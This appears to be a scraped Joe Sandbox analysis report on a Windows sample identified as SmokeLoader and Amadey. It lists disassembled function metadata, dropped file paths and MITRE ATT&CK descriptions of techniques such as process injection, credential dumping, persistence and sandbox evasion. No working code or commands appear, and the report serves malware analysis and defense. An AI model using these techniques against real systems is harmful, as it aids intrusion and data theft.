Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: 2f4c78aa057be478761a98a62ba6ad047d690c52ca7a350a2e95b8d08db4e428
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: 0C21F235307F2D2ADBB4DDDE7CC0BAFB5C9DBD1392F29052DE9018A650EB52980080B1

Uniqueness

Uniqueness Score: -1.00%

Function 030BB162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 030BB1B3
_alldvrm.NTDLL(?,?,00000000), ref: 030BB20F
_allrem.NTDLL(?,00000000,?,?), ref: 030BB28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 030BB298

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: 8bea9a34fe6b1a98f4b65b263e691addcb9e2bb9d2f61da632efe3ef553aeb50
Instruction ID: fce8753c9d9b636255dcbbd540380513146e0616fd1b4bb4b2eb7220acb4084c
Opcode Fuzzy Hash: 8bea9a34fe6b1a98f4b65b263e691addcb9e2bb9d2f61da632efe3ef553aeb50
Instruction Fuzzy Hash: 9F41167960A3019FC714EF29C8909AFBBF5AFC9600F44492DF9959B251DB31EC05CB92

Uniqueness

Uniqueness Score: -1.00%

Function 030A1953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
lstrcatW.KERNEL32(00000000,?), ref: 030A1990
lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: ed5809e8a681675d404ad282f804968df8fb30a5d08fc8ea846c0c132a760ab6
Instruction ID: 6d8100f7bc3d8c9f1c93762e969f6b55804b208c627ab6f2d821d0a64c295618
Opcode Fuzzy Hash: ed5809e8a681675d404ad282f804968df8fb30a5d08fc8ea846c0c132a760ab6
Instruction Fuzzy Hash: FEE065A630521C2F8714B6EEAC94D7B76ECCAC95A57190079FA05D3205EA569C0586B0

Uniqueness

Uniqueness Score: -1.00%

Function 030CF21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 030A6A81: memset.NTDLL ref: 030A6A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 030CF2A1

Strings

%llu, xrefs: 030CF25E
%llu, xrefs: 030CF2A8

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: ccea4781e2f32eaa45d2d8611edd9570586952d6ada8307db100ec02374c7bde
Instruction ID: 42f556bbc052ae3623ef706f6980e185e4bc66fe1297d5675a27e7f37e96d90e
Opcode Fuzzy Hash: ccea4781e2f32eaa45d2d8611edd9570586952d6ada8307db100ec02374c7bde
Instruction Fuzzy Hash: EF21D4B66417466BC610EA68DC41FAFB769AFC1B30F048628F9219B6C0DB21DD118BE1

Uniqueness

Uniqueness Score: -1.00%

Function 030B203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 030B2174
_allmul.NTDLL(?,?,?,00000000), ref: 030B220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 030B2241
_allmul.NTDLL(030A2E26,00000000,?,?), ref: 030B2295

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: acbbe7c83fcf9872baf61c72bf2148c06e5c17a9d519f593158dd2d7928e0be8
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: 6BA17B75709705AFC714DFA9C890AAEB7FAAFC8604F044C2CF6958B250EB71EC458B52

Uniqueness

Uniqueness Score: -1.00%

Function 030B78B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 030B7979
memset.NTDLL ref: 030B798A
memcpy.NTDLL(?,?,?), ref: 030B7A00
memset.NTDLL ref: 030B7A14

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 4a4e04241874995c2be84178791e40b6ce51a6f81eff1c104512311b7317fe4b
Instruction ID: e0239fbf9ac28aee361c8b5f3bc0ffd987abe3c3f7aab62e8efcd2f9f1e2334b
Opcode Fuzzy Hash: 4a4e04241874995c2be84178791e40b6ce51a6f81eff1c104512311b7317fe4b
Instruction Fuzzy Hash: B081807560A3149FC350DF29C880AABBBF5FFC8A04F44496DF8869B351D671E905CB91

Uniqueness

Uniqueness Score: -1.00%

Function 030A190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,030A2783), ref: 030A192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,030A2783), ref: 030A1930
lstrcat.KERNEL32(00000000,?), ref: 030A1946
lstrcat.KERNEL32(00000000,00000000), ref: 030A194A

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 13e2b0392a7f624a493ef9fd6b03a58e05deb0fb61bda5840f08d064851aa72c
Instruction ID: c0a852977fd590e21efaeb6fa4b755d9a53622332912b876d2c316e8810f4b66
Opcode Fuzzy Hash: 13e2b0392a7f624a493ef9fd6b03a58e05deb0fb61bda5840f08d064851aa72c
Instruction Fuzzy Hash: B4E092A630661C2F4624B6EE6C84E7B76ECDAC94A57090176FA05C3206EE96AC0186B0

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xwREqjHUEv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AppLaunch.exe.log

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\246122658369

C:\Users\user\AppData\Local\Temp\44D.tmp

C:\Users\user\AppData\Local\Temp\78B.tmp

C:\Users\user\AppData\Local\Temp\828.tmp

Windows Analysis Report
xwREqjHUEv.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre